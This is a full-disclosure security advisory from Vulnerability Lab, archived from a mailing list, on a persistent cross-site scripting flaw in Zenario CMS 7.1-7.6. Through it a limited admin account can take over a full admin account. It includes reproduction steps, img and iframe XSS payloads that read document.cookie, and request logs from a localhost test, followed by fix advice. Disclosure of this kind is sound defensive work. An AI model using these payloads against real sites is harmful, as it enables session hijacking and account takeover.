Zenario v7.6 – (Delete) Persistent Cross Site Vulnerability

fulldisclosure logo
Full Disclosure
mailing list archives

Zenario v7.6 – (Delete) Persistent Cross Site Vulnerability


From: Vulnerability Lab <research () vulnerability-lab com>

Date: Wed, 3 May 2017 13:12:39 +0200


Document Title:
===============
Zenario v7.6 - (Delete) Persistent Cross Site Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2042


Release Date:
=============
2017-03-20


Vulnerability Laboratory ID (VL-ID):
====================================
2042


Common Vulnerability Scoring System:
====================================
3.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Product & Service Introduction:
===============================
Zenario is a web-based content management system for sites with one or many languages. It's designed to grow with 
your site, adding extranet, online database and custom functionality when you need it. Zenario 7.2 has a new feature 
to add CSS styles and media queries, thereby allowing you to make mobile-friendly "responsive" email newsletters.

(Copy of the Homepage: http://zenar.io/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site scripting vulnerability in the 
official 
Zenario v7.1 - v7.6 content management system web-application.


Vulnerability Disclosure Timeline:
==================================
2017-03-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Zenario
Product: Zenario - Content Management System (Web-Application) 7.1

Zenario
Product: Zenario - Content Management System (Web-Application) 7.2

Zenario
Product: Zenario - Content Management System (Web-Application) 7.3

Zenario
Product: Zenario - Content Management System (Web-Application) 7.4

Zenario
Product: Zenario - Content Management System (Web-Application) 7.5

Zenario
Product: Zenario - Content Management System (Web-Application) 7.6


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation vulnerability has been discovered in the official Zenario v7.1 - v7.6 content management 
system.
The cross site scripting vulnerability allows remote attackers to inject own malicious script code via persistent 
attack vector.

The persistent cross site scripting vulnerability is located in the `zenario_fbWarning - snippet_warning` parameters of 
the `organizer.php` and `admin_boxes.ajax.php` files. Limited admin accounts and translator accounts are able to 
takeover 
the full admin account by manipulation of the delete post method request content. The attacker with the low privilege 
admin 
account injects his code without visible execution to the database management system via web-application. The execution 
point occurs in case of an item delete request by the full admin user account. The request method to inject is POST and 
the attack vector of the vulnerability is persistent on the application-side.

The security risk of the xss vulnerability is estimated as medium with a common vulnerability scoring system count of 
3.6. 
Exploitation of the persistent xss web vulnerability requires a limited admin user account and only low user 
interaction. 
Successful exploitation of the vulnerability results in persistent phishing attacks, session hijacking, persistent 
external 
redirect to malicious sources and persistent manipulation of affected or connected web module context.

Request Method(s):
[+] POST 

Vulnerable Function(s):
[+] Delete Function (Item)

Vulnerable File(s):
[+] admin_boxes.ajax.php
[+] organizer.php

Vulnerable Parameter(s):
[+] zenario_fbWarning - snippet_warning

Affected Module(s):
[+] ./zenario/admin/


Proof of Concept (PoC):
=======================
The persistent input validation vulnerability can be exploited by restricted user accounts with low user interaction.
For security demonstraton or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce ...
1. Login with the restricted account to the frontend or backend of zenario
2. Add any new function, role, group, module, form or post to the dbms via post
3. Now, logout and login with a high privilege admin user test account 
4. Improve the backend by processing to delete the new entry of the other low privilege user account
Note: A warning occurs that displays the input of the content that should be deleted
4. The execution occurs on each delete request via post of a high privilege admin account in the zerario_fbWarning 
exception message content
5. Successful reproduce of the persistent cross site scripting vulnerability!

Note: In the security check we used a limited admin account to takeover the full admin account to compromise via backend


PoC: Vulnerable Source (zenario_fbWarning - snippet_warning)
Are you sure you wish to delete the role "?
</div> Payload: XSS "<img src="evil.source" onload=alert(document.cookie)> "<iframe src="evil.source" onload=alert(document.cookie)> --- PoC Session Logs (Inject & Execute) --- Status: 200[OK] POST http://zenar.io.localhost:8080/zenario/admin/admin_boxes.ajax.php?path=zenario_organization_manager__delete_role&id=4 Mime Type[text/javascript] Request Header: Host[zenar.io.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0] Content-Type[application/x-www-form-urlencoded; charset=UTF-8] X-Requested-With[XMLHttpRequest] Referer[http://zenar.io.localhost:8080/zenario/admin/organizer.php?fromCID=1&fromCType=html] Connection[keep-alive] POST-Daten: _fill[true] _values[] Response Header: Server[Apache/2.4.23 (Ubuntu)] Set-Cookie[PHPSESSID=htlnidme4vsj2f1am2n1jbjr44; path=/; HttpOnly] X-Frame-Options[SAMEORIGIN] Content-Length[432] Keep-Alive[timeout=5, max=98] Connection[Keep-Alive] Content-Type[text/javascript; charset=UTF-8] - Execution Point Status: 200[OK] GET http://zenar.io.localhost:8080/zenario/admin/evil.source Mime Type[text/html] Request Header: Host[zenar.io.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0] Referer[http://zenar.io.localhost:8080/zenario/admin/organizer.php?fromCID=x&fromCType=html] Connection[keep-alive] Response Header: Server[Apache/2.4.23 (Ubuntu)] Content-Length[292] Connection[Keep-Alive] Content-Type[text/html; charset=iso-8859-1] Reference(s): http://zenar.io.localhost:8080/ http://zenar.io.localhost:8080/zenario/ http://zenar.io.localhost:8080/zenario/admin/ http://zenar.io.localhost:8080/zenario/admin/organizer.php http://zenar.io.localhost:8080/zenario/admin/admin_boxes.ajax.php Solution - Fix & Patch: ======================= 1. Escape the content that is displayed of the database management system in the warning message content 2. Disallow the usage of special chars on in warning messages and replace the content to sanitize Security Risk: ============== The security risk of the persistent cross site scripting vulnerability in the web-application is estimated as medium. (CVSS 3.6) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/

  By Date  
     
  By Thread  

Current thread:

  • Zenario v7.6 – (Delete) Persistent Cross Site Vulnerability Vulnerability Lab (May 03)

Source: Full Disclosure @ May 3, 2017 at 06:18AM

0
Share